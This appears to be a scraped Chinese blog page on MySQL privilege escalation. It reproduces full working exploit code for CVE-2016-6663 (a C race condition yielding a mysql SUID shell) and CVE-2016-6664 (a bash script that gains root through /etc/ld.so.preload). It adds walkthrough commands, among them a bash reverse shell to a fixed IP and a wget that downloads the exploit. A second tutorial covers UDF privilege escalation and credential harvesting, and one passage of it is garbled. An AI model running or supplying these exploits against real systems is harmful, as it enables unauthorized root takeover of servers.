           "mysql-privesc-race.c (ver. 1.0)\n\n"
           "CVE-2016-6663 / CVE-2016-5616\n\n"
           "For testing purposes only. Do no harm.\n\n"
    "Discovered/Coded by:\n\n"
    "Dawid Golunski \n"
    "http://legalhackers.com"
           "\033[0m\n\n");
    
    
    }
    
    
    void usage(char *argv0) {
       intro();
       printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
    }
    
    
    void mysql_cmd(char *sql_cmd, int silent) {
       
       if (!silent) {
       printf("%s \n", sql_cmd);
      }
       if (mysql_query(conn, sql_cmd)) {
           fprintf(stderr, "%s\n", mysql_error(conn));
           exit(1);
      }
       res = mysql_store_result(conn);
       if (res>0) mysql_free_result(res);
    
    
    }
    
    
    
    
    int main(int argc,char **argv)
    {
    
    
       int randomnum = 0;
       int io_notified = 0;
       int myd_handle;
       int wpid;
       int is_shell_suid=0;
       pid_t pid;
       int status;
       struct stat st;
       /* io notify */
       int fd;
       int ret;
       char buf[4096] __attribute__((aligned(8)));
       int num_read;
       struct inotify_event *event;
       /* credentials */
       char *user     = argv[1];
       char *password = argv[2];
       char *db_host = argv[3];
       char *database = argv[4];
    
    
    
    
       // Disable buffering of stdout
       setvbuf(stdout, NULL, _IONBF, 0);
    
    
       // Get the params
       if (argc!=5) {
    usage(argv[0]);
    exit(1);
      }
       intro();
       // Show initial privileges
       printf("\n[+] Starting the exploit as: \n");
       system("id");
    
    
       // Connect to the database server with provided credentials
       printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
       conn = mysql_init(NULL);
       if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
           fprintf(stderr, "%s\n", mysql_error(conn));
           exit(1);
      }
    
    
       // Prepare tmp dir
       printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
       umask(000);
       system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
       system("chmod g+s /tmp/" EXP_DIRN );
    
    
       // Prepare exploit tables :)
       printf("\n[+] Creating mysql tables \n\n");
       mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
       mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
       mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
       mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    
    
       // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
       // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
       printf("\n[+] Copying bash into the mysql_suid_shell table.\n   After the exploitation the following file/table will be assigned SUID and executable bits : \n");
       system("cp /bin/bash " SUID_SHELL);
       system("ls -l " SUID_SHELL);
    
    
       // Use inotify to get the timing right
       fd = inotify_init();
       if (fd < 0) {
           printf("failed to inotify_init\n");
           return -1;
      }
       ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
    
    
    
    
       /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
    
    
       printf("\n[+] Entering the race loop... Hang in there...\n");
    
    
       while ( is_shell_suid != 1 ) {
    
    
           cnt++;
    if ( (cnt % 100) == 0 ) {
    printf("->");
    //fflush(stdout);
    }
    
    
           /* Create empty file , remove if already exists */
           unlink(MYSQL_TEMP_FILE);
           unlink(MYSQL_TAB_FILE);
      mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
    
    
    /* random num if needed */
           srand ( time(NULL) );
           randomnum = ( rand() % MAX_DELAY );
    
    
           // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
           pid = fork();
           if (pid < 0) {
               fprintf(stderr, "Fork failed :(\n");
          }
    
    
           /* Child process - executes REPAIR TABLE  SQL statement */
           if (pid == 0) {
               usleep(500);
               unlink(MYSQL_TEMP_FILE);
       mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
               // child stops here
               exit(0);
          }
    
    
           /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
           if (pid > 0 ) {
               io_notified = 0;
    
    
               while (1) {
                   int processed = 0;
                   ret = read(fd, buf, sizeof(buf));
                   if (ret < 0) {
                       break;
                  }
                   while (processed < ret) {
                       event = (struct inotify_event *)(buf + processed);
                       if (event->mask & IN_CLOSE) {
                           if (!strcmp(event->name, "exploit_table.TMD")) {
                               //usleep(randomnum);
    
    
       // Set the .MYD permissions to suid+exec before they get copied to the .TMD file
       unlink(MYSQL_TAB_FILE);
       myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
       close(myd_handle);
       chmod(MYSQL_TAB_FILE, 04777);
    
    
       // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
                               unlink(MYSQL_TEMP_FILE);
                               symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                               io_notified=1;
                          }
                      }
                       processed += sizeof(struct inotify_event);
                  }
                   if (io_notified) {
                       break;
                  }
              }
    
    
    
    
               waitpid(pid, &status, 0);
          }
    
    
    // Check if SUID bit was set at the end of this attempt
           if ( lstat(SUID_SHELL, &st) == 0 ) {
       if (st.st_mode & S_ISUID) {
    is_shell_suid = 1;
      }
          }
    
    
      }
    
    
       printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
       system("ls -l " SUID_SHELL);
    
    
       printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n   Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
       system(SUID_SHELL " -p -i ");
       //system(SUID_SHELL " -p -c '/bin/bash -i -p'");
    
    
       /* close MySQL connection and exit */
       printf("\n[+] Job done. Exiting\n\n");
       mysql_close(conn);
       return 0;
    
    
    }

    8a87675705aec75a9f1288124479b11c.png

    这里我直接用蚁剑执行的话执行不了

    f1396946ebac6f595a2c74269e88d074.png

    使用nc配合bash命令反弹后执行命令,即可从www-data权限提升到mysql权限

    nc -lvvp 7777
    /bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1
    
    
    cd var/www/html/
    gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
    ./mysql-privesc-race test 123456 localhost test

    577e08d147df935eacb7312c208cc44f.png


    CVE-2016-6664

    cve-2016-6664即把mysql权限提升到root权限

    tutum/lamp日志方式不是默认的基于文件的日志,而是syslog,所以我们首先要将它改为默认配置

    vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf

    删除掉syslog,然后重启mysql

    f681f0075b6e03a9ce1502b92c2a5be1.png
    使用exp

    #!/bin/bash -p
    #
    # MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
    # mysql-chowned.sh (ver. 1.0)
    #
    # CVE-2016-6664 / OCVE-2016-5617
    #
    # Discovered and coded by:
    #
    # Dawid Golunski
    # dawid[at]legalhackers.com
    #
    # https://legalhackers.com
    #
    # Follow https://twitter.com/dawid_golunski for updates on this advisory.
    #
    # This PoC exploit allows attackers to (instantly) escalate their privileges
    # from mysql system account to root through unsafe error log handling.
    # The exploit requires that file-based logging has been configured (default).
    # To confirm that syslog logging has not been enabled instead use:
    # grep -r syslog /etc/mysql
    # which should return no results.
    #
    # This exploit can be chained with the following vulnerability:
    # CVE-2016-6663 / OCVE-2016-5616
    # which allows attackers to gain access to mysql system account (mysql shell).
    #
    # In case database server has been configured with syslog you may also use:
    # CVE-2016-6662 as an alternative to this exploit.
    #
    # Usage:
    # ./mysql-chowned.sh path_to_error.log
    #
    #
    # See the full advisory for details at:
    # https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
    #
    # Video PoC:
    # https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
    #
    # Disclaimer:
    # For testing purposes only. Do no harm.
    #
    
    
    BACKDOORSH="/bin/bash"
    BACKDOORPATH="/tmp/mysqlrootsh"
    PRIVESCLIB="/tmp/privesclib.so"
    PRIVESCSRC="/tmp/privesclib.c"
    SUIDBIN="/usr/bin/sudo"
    
    
    function cleanexit {
       # Cleanup
       echo -e "\n[+] Cleaning up..."
       rm -f $PRIVESCSRC
       rm -f $PRIVESCLIB
       rm -f $ERRORLOG
       touch $ERRORLOG
       if [ -f /etc/ld.so.preload ]; then
           echo -n > /etc/ld.so.preload
       fi
       echo -e "\n[+] Job done. Exiting with code $1 \n"
       exit $1
    }
    
    
    function ctrl_c() {
           echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
       cleanexit 0
    }
    
    
    #intro
    echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
    echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
    
    
    # Args
    if [ $# -lt 1 ]; then
       echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
       echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
       exit 3
    fi
    
    
    # Priv check
    
    
    echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
    id | grep -q mysql
    if [ $? -ne 0 ]; then
       echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
       exit 3
    fi
    
    
    # Set target paths
    ERRORLOG="$1"
    if [ ! -f $ERRORLOG ]; then
       echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
       exit 3
    fi
    echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
    
    
    # [ Active exploitation ]
    
    
    trap ctrl_c INT
    # Compile privesc preload library
    echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
    cat <<_solibeof_>$PRIVESCSRC
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <dlfcn.h>
          #include <sys/types.h>
          #include <sys/stat.h>
          #include <fcntl.h>
    
    
    uid_t geteuid(void) {
       static uid_t (*old_geteuid)();
       old_geteuid = dlsym(RTLD_NEXT, "geteuid");
       if ( old_geteuid() == 0 ) {
           chown("$BACKDOORPATH", 0, 0);
           chmod("$BACKDOORPATH", 04777);
           //unlink("/etc/ld.so.preload");
      }
       return old_geteuid();
    }
    _solibeof_
    /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
    if [ $? -ne 0 ]; then
       echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
       cleanexit 2;
    fi
    
    
    
    
    # Prepare backdoor shell
    cp $BACKDOORSH $BACKDOORPATH
    echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
    
    
    # Safety check
    if [ -f /etc/ld.so.preload ]; then
       echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
       exit 2
    fi
    
    
    # Symlink the log file to /etc
    rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
    if [ $? -ne 0 ]; then
       echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
       cleanexit 3
    fi
    echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
    
    
    # Wait for MySQL to re-open the logs
    echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
    read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
    if [ "$THE_ANSWER" = "y" ]; then
       echo -e "Got it. Executing 'killall mysqld' now..."
       killall mysqld
    fi
    while :; do
       sleep 0.1
       if [ -f /etc/ld.so.preload ]; then
           echo $PRIVESCLIB > /etc/ld.so.preload
           rm -f $ERRORLOG
           break;
       fi
    done
    
    
    # /etc/   dir should be owned by mysql user at this point
    # Inject the privesc.so shared library to escalate privileges
    echo $PRIVESCLIB > /etc/ld.so.preload
    echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
    echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
    echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
    chmod 755 /etc/ld.so.preload
    
    
    # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
    echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
    sudo 2>/dev/null >/dev/null
    
    
    #while :; do
    #   sleep 0.1
    #   ps aux | grep mysqld | grep -q 'log-error'
    #   if [ $? -eq 0 ]; then
    #       break;
    #   fi
    #done
    
    
    # Check for the rootshell
    ls -l $BACKDOORPATH
    ls -l $BACKDOORPATH | grep rws | grep -q root
    if [ $? -eq 0 ]; then
       echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
       echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
    else
       echo -e "\n[!] Failed to get root"
       cleanexit 2
    fi
    
    
    
    
    # Execute the rootshell
    echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
    $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
    $BACKDOORPATH -p
    
    
    # Job done.
    cleanexit 0

    在刚才mysql权限的shell中下载提权脚本并执行,即可得到root权限

    wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
    chmod 777 mysql-chowned.sh
    ./mysql-chowned.sh /var/log/mysql/error.log

    c9a576e59f82657280d1a78541032534.png

    实操推荐

    mysql提权:http://mrw.so/5JJ8Wn

    udf通过添加新函数,对MySQL的功能进行扩充,使用UDF提权原理就是通过引入udf.dll,引入自定义函数,执行系统命令。通过实验学习真实渗透场景中的MySQL udf提权方法,掌握两种dll文件导入方式,通过udf提权执行系统命令。


    2132ac8c664ef6c8bdebb824411732d4.gif

    戳“阅读原文”体验免费靶场!

    展开全文
  • 必备神器->MYSQL高版本提权工具-V 2011
  • MySQL提权——udf提权

    千次阅读 2022-04-11 11:42:34
    零基础学黑客,搜索公众号:白帽子左一 作者:掌控安全学员——逍遥子 一、前期准备 1.Mysql udf简介 ...udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能
    零基础学黑客,搜索公众号:白帽子左一
    

    作者:掌控安全学员——逍遥子

    一、前期准备

    1.Mysql udf简介

    MySQL udf(user definedfunction,用户定义函数),为用户提供了一种高效创建函数的方式。udf函数按其运行模式可以分为单次调用型和聚集函数型两类,单次调用型函数能够针对数据库查询的每一行记录进行处理,聚集函数型用于处理Group By等聚集查询。

    2.udf提权原理

    udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。
    攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。不同的操作系统,不同的版本,提权时导出udf.dll存放的目录不一样。
    Windows 2000操作系统需要导出udf.dll到c:\winnt\目录下。Windows2003操作系统导出udf.dll到c:\windows\目录下。在MySQL 5.1版本及以后的环境下,udf提权时需要将udf.dll导出到mysql安装目录\lib\plugin\目录下

    3. NTFS ADS创建目录

    在mysql 5.1以后的版本中,需要将dll文件导入到lib\plugin目录中才会生效,但是一部分在安装中没有这个路径文件夹,所以需要使用NTFS 数据交换流进行文件夹的创建
    每个文件数据流的完整格式如下:<filename>:<streamname>:<stream type>

    只有一个data流时,streamname通常可以省略,stream
    type也可以成为attributetype。我们通常看到的是文件的data流,其它数据流都处于隐藏状态。当attribute
    type为 I N D E X A L L O C A T I O N 时 , 表 明 该 该 数 据 流 的 宿 主 是 文 件 夹 。 所 以 可 以 通 过 M y S Q L 导 出 数 据 到 d i r e c t o r y p a t h : : INDEX_ALLOCATION时,表明该该数据流的宿主是文件夹。所以可以通过MySQL导出数据到directory_path:: INDEXALLOCATION宿MySQLdirectorypath::INDEX_ALLOCATION文件的方法来创建directory_path目录。

    二、提权实操

    1.首先需要获取目标的webshll,获得的这个webshell很明显权限很低,甚至连命令都无法执行。在这里插入图片描述

    2.因为服务器部署了mysql,所以就可以考虑使用mysql提权,所以需要找到MySQL的账户和密码。
    通过对文件的的浏览,找到了网站的配置文件,里面可以看到数据库的账户的密码都是以明文的形式存在的。在这里插入图片描述

    3.还可以通过查看数据库的user.MYD文件,里面存的是用户的密码的hash值,获取了以后可以通过cmd5或者其他途径进行查找。简答搜索就可以知道mysql的常见文件存储结构。
    在这里插入图片描述

    4.通过查看user.myd,获取到了hash值,并且碰撞得到明文。

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    5.拿到了数据库的账户和密码,开始对数据库进行链接。
    在这里插入图片描述

    6.查看是否有上传文件的权限。show global variables like ‘secure%’

    当secure_file_priv 的值为 NULL ,表示限制mysqld 不允许导入|导出,此时无法提权
    当secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/ 目录下,此时也无法提权
    当 secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提
    在这里插入图片描述

    7.查看mysql的安装路径(绝对路径)
    在这里插入图片描述

    8.查看mysql的版本。发现是5.2版本,所以需要将dll文件放在lib\plugin目录下才可以生效,如果是5.1以下,需要放到 C:\Windows\system32下
    在这里插入图片描述

    9.浏览目录,发现没有lib路径的存在,需要使用NTFS ADS进行创建(在获取到shell的情况下,如果权限够,也可以使用webshell管理工具创建。)在这里插入图片描述

    10.使用命令创建路径:select ‘xxx’ into outfile ‘C:\phpstudy_pro\Extensions\MySQL5.5.29\lib::$INDEX_ALLOCATION’;,执行命令后发现报的是失败,但是检查文件夹,确实已经创建。

    在这里插入图片描述
    在这里插入图片描述

    11.使用同样的方法创建plugin文件夹。
    12.使用直接导入的方式将udf.dll文件到指定位置。(udf.dll我以txt的形式放在附件)select 0x[udf数据] into dumpfile [path]
    在这里插入图片描述
    在这里插入图片描述

    13.创建sys_eval函数,用于执行命令和回显。
    在这里插入图片描述

    14.成功执行命令。
    在这里插入图片描述
    在这里插入图片描述

    之前是使用了直接将udf数据写入文件,有时候还可以将数据写入到数据库中,再写入到文件中。
    1.首先将创建的自定义函数sys_eval删除掉,避免产生干扰。删除函数:drop function sys_eval,查询所有的自定义函数select *from mysql.func
    在这里插入图片描述
    在这里插入图片描述

    2.创建一个临时表
    ![
    ]在这里插入图片描述

    3.将数据写入到表中。insert into udf values(convert(二进制文件,CHAR))

    在这里插入图片描述

    4.将数据导入到指定文件夹下的目录中。```select udf from udf into dumpfile’path’;
    在这里插入图片描述

    5.文件成功导入后,直接同之前的方法创建自定义函数。(这次使用的dll文件是udf1,因为是第二次写入的文件名就是udf1)
    在这里插入图片描述

    6.成功执行命令,获取到权限。

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    展开全文
  • 在平常的渗透提权中,我们通常可以在一些特殊情况下得到数据库的用户名和密码(最高权限root),如下: MySQL 3306 端口弱口令爆破 sqlmap 注入的 --sql-shell 模式 网站的数据库配置文件中拿到明文密码信息 CVE-...
  • mysql提权话语

    2021-02-06 15:35:09
    mysql提权语句mysql提权语句归纳如下:一 UDF提权这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:create function cmdshell returns string soname ’udf.dll’select cmdshell(’...
  • Mysql提权(UDF提权)

    2022-04-17 14:51:16
    mysql提权(udf提权) 借用于mysql func,对认证的用户,只要拥有INSERT和DELETE权限,就可以在任意数据库下l创建一个函数攻击数据库 拿到webshell后先看数据库,一般存放于inc目录,配置文件是config.php 拿到账号...
  • mysql提权语句归纳如下:一 UDF提权这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:create function cmdshell returns string soname ’udf.dll’select cmdshell(’net user iis_user 123!...
  • mysql提权,udf提权所需要的dll文件,有64位和32位
  • 0x01 简介 UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,...当获取到mysql的root权限,需要进行权限提升,可以尝试使用udf提权。 1、条件判断 ① ...
  • 基于Mysql的webshell提权【实验目的】通过本实验理解webshell的使用方法,掌握如何通过webshell执行sql命令进行提权,熟悉基本的webshell提权思路。【实验环境】攻击机:Win2008-att用户名college,密码360College...
  • 其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。 0x02 条件 mysql...
  • Windows下MySql提权分析

    2021-01-19 17:28:58
    写在前面的废话(忽略)这篇文章是写基于windows环境下的一些mysql提权方法的分析并利用。这些方法老生常谈,但困于很多文章在讲分析和利用的时候模棱两可,因此想总结一下常见的方法思路。基于windows的提权姿势多的...
  • MYSQL提权--UDF提权

    2021-01-17 06:21:44
    前言:udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限什么是UDF:udf(Userdefined function)是用户自定义函数在mysql中函数是什么,比如mysql中常见的sleep(),sum(),ascii()等都是...
  • mysql提权方式

    2021-08-19 15:39:49
    mysql提权方式 MOF 原理 提权要求 步骤 UDF 原理 步骤 MOF 原理 利用了Windows下c:/windows/system32/wbem/mof/目录下的 nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性。 提权要求 1.目标系统是...
  • Mysql提权-基于Mysql的UDF提权(Linux系统) 标签:端口 mysql数据库 出现 注意 udf 查看 数据库 mys Edito 本条技术文章来源于互联网,如果无意侵犯您的权益请点击此处反馈版权投诉 本文系统来源:...
  • Mysql提权拿服务器

    2021-02-02 10:20:52
    最新dedecms出了漏洞。很常规就找几个站日日。dedecms为主流了有这么些常规的Oday日起站来...一般mysql提权我先是看站是不是mysql的。然后找配置文件看下。看连接数据库能有mysql的权限不。dedecms一般都在data目...
  • 0x00 mysql数据库提权方式简介 1)udf提权 2)mof提权 3)启动项提权-反弹shell-exp提权 提权思路:1.探针数据库的存在-端口服务,2.必须获取到数据库的权限密码,3.数据库的类型分类 重点:数据库的账号密码...
  • MYSQL提权的各种姿势

    2021-01-26 02:30:25
    一、利用mof提权前段时间Kingcope大牛发布了mysql远程提权0day,剑心牛对MOF利用进行了分析,如下:Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:方法 1: 运行 MOF 文件...
  • 暗月mysql全版本通杀提权神器使用教程.zip
  • MySQL提权

    万次阅读 2018-05-12 10:04:10
    一、Mysql提权必备条件1.服务器安装Mysql数据库利用Mysql提权的前提就是服务器安装了mysql数据库,且mysql的服务没有降权,Mysql数据库默认安装是以系统权限继承的,并且需要获取Mysql root账号密码。2.判断Mysql...
  • mysql提权

    2021-02-08 10:24:49
    Namp 扫描ip端口Cms 探测 wpscan kali ...用用户名登录ssh然后利用mysql UDF提权。1.gcc-g-craptor_udf.c 编译一下下载的c文件2.gcc-g-shared-Wl,-soname,raptor_udf.so-oraptor_udf.soraptor_udf.o-lc3.登录mysql4...
  • 文章作者:pt007@vip.sina.com文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shellselect @@version;...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 13,673
精华内容 5,469
关键字:

mysql提权

mysql 订阅